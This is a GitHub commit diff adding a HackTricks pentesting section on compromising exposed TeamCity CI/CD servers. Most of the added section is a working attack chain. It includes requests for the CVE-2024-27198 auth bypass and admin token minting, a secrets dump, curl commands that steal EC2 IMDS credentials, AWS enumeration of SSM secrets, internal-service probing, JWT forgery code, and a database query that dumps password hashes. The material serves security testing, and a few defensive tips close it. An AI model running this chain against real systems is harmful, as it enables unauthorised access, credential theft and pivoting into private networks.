Skip to content

Commit 5704b99

Browse files
author
HackTricks News Bot
committed
Add content from: Red-Teaming Cloud Infrastructure with Neo
1 parent 8cb43f6 commit 5704b99

1 file changed

Lines changed: 115 additions & 0 deletions

File tree

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,118 @@ Compromising a CI/CD pipeline or stealing credentials from it can let an attacke
106106
- If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
107107
- Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
108108

109+
## TeamCity: public CI/CD to cloud/internal pivoting
110+
111+
A **publicly exposed TeamCity** should be treated as a potential **bridge into production credentials, cloud roles, and private subnets**. A practical attack chain is:
112+
113+
1. **Fingerprint TeamCity and test unauthenticated REST access.** In vulnerable TeamCity On-Prem versions **through 2023.11.3**, the auth bypass **CVE-2024-27198** can route requests through:
114+
115+
```http
116+
GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
117+
Host: <teamcity>:8111
118+
Accept: application/json
119+
```
120+
121+
If the response returns server metadata without a session, the instance is likely exploitable.
122+
123+
2. **Mint a persistent admin API token.** After confirming the bypass, create a token for a privileged user and switch to authenticated API abuse:
124+
125+
```http
126+
POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1
127+
Host: <teamcity>:8111
128+
Accept: application/json
129+
Content-Type: application/json
130+
131+
{"name":"RedTeamToken"}
132+
```
133+
134+
3. **Dump build parameters and project secrets.** TeamCity projects often store **database URLs, deploy keys, JWT secrets, SaaS tokens, and cloud credentials** in cleartext parameters:
135+
136+
```http
137+
GET /app/rest/projects/id:BackendApi/parameters HTTP/1.1
138+
Authorization: Bearer <teamcity_token>
139+
Accept: application/json
140+
```
141+
142+
4. **Execute commands on build agents.** If you can create or modify a build configuration, the build agent becomes your execution proxy. Use it to dump environment variables, read mounted files, and query local metadata/services.
143+
144+
### TeamCity build agents on EC2: steal IMDS credentials
145+
146+
If the build agent runs on **EC2**, command execution often means **instance-profile credential theft**. For **IMDSv1**:
147+
148+
```bash
149+
IMDS_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
150+
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE"
151+
```
152+
153+
With the temporary credentials, validate **real impact** instead of stopping at discovery:
154+
155+
```bash
156+
aws s3 ls
157+
aws ssm describe-parameters
158+
aws ssm get-parameter --name /prod/jwt-secret --with-decryption
159+
aws ec2 describe-instances
160+
aws rds describe-db-instances
161+
```
162+
163+
Interesting loot after a CI/CD compromise:
164+
165+
- **S3 buckets** holding SQL dumps, build artifacts, legacy `.env` files, or static IAM keys
166+
- **SSM Parameter Store** values with production secrets and internal hostnames
167+
- **EC2 user-data** disclosing bootstrap credentials or deployment scripts
168+
- **Describe** permissions that reveal private hosts, subnets, and RDS endpoints for the next pivot
169+
170+
> [!TIP]
171+
> If you only need metadata from the instance itself, you can also inspect **EC2 user-data** and **instance profiles** from the stolen role using the AWS enumeration pages linked from the AWS section.
172+
173+
### Pivot into private services through the build agent
174+
175+
Do not treat a private subnet as a security boundary if the CI/CD agent already has legitimate reachability to it. The **build job itself** can be used as a **proxy** to enumerate and access internal HTTP services:
176+
177+
```bash
178+
for path in /health /api/v1/orders /admin /metrics /debug /internal; do
179+
curl -s -H "Authorization: Bearer $JWT" "http://internal-host:5000${path}"
180+
done
181+
```
182+
183+
This is especially useful after stealing a **shared HS256 JWT secret** from TeamCity parameters, SSM, user-data, or artifacts. Once the secret is known, **JWT claims are attacker-controlled input** even though the token is validly signed:
184+
185+
```python
186+
import jwt, time
187+
secret = 'hs256-internal-svc-do-not-share-2024'
188+
payload = {'sub': 'admin', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 86400}
189+
print(jwt.encode(payload, secret, algorithm='HS256'))
190+
```
191+
192+
Abuse paths after JWT forgery:
193+
194+
- Access internal endpoints that only check for a valid signature or `Authorization` header
195+
- Escalate to admin-only routes when role/claim validation is weak
196+
- Turn signed claims such as `sub` into a **SQL injection** vector if they are concatenated into backend queries
197+
198+
A raw error such as `invalid input syntax for type integer` plus leaked SQL like `WHERE user_id = 'admin'` strongly suggests the JWT claim is reaching SQL unsafely.
199+
200+
### TeamCity-specific dangerous debug surface
201+
202+
If `internal.properties` enables:
203+
204+
```properties
205+
rest.debug.database.allow.query.prefixes=select
206+
```
207+
208+
an attacker with an admin token can query TeamCity's internal database via REST and dump data such as user password hashes:
209+
210+
```http
211+
GET /app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS HTTP/1.1
212+
Authorization: Bearer <teamcity_token>
213+
```
214+
215+
### Practical assessment takeaways
216+
217+
- A **TeamCity auth bypass** is rarely "just" a CI bug; it is often the **entry point** to cloud, secrets, and internal network compromise.
218+
- A **scanner hit** (for example, a Nuclei template) should be followed by **token minting, secret review, build-agent execution, IMDS checks, cloud enumeration, and private-subnet pivoting**.
219+
- Defensively, require **IMDSv2** with `HttpTokens=required`, avoid storing long-lived secrets in TeamCity parameters, and disable dangerous debug database query features.
220+
109221
## More relevant info
110222

111223
### Tools & CIS Benchmark
@@ -127,6 +239,9 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
127239

128240
## References
129241

242+
- [ProjectDiscovery: Red-Teaming Cloud Infrastructure with Neo](https://projectdiscovery.io/blog/red-teaming-cloud-infrastructure-with-neo)
243+
- [JetBrains TeamCity: Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199)](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
244+
- [AWS CLI: modify-instance-metadata-options](https://docs.aws.amazon.com/en_us/cli/latest/reference/ec2/modify-instance-metadata-options.html)
130245
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
131246
- [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
132247
- [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)

0 commit comments

Comments
 (0)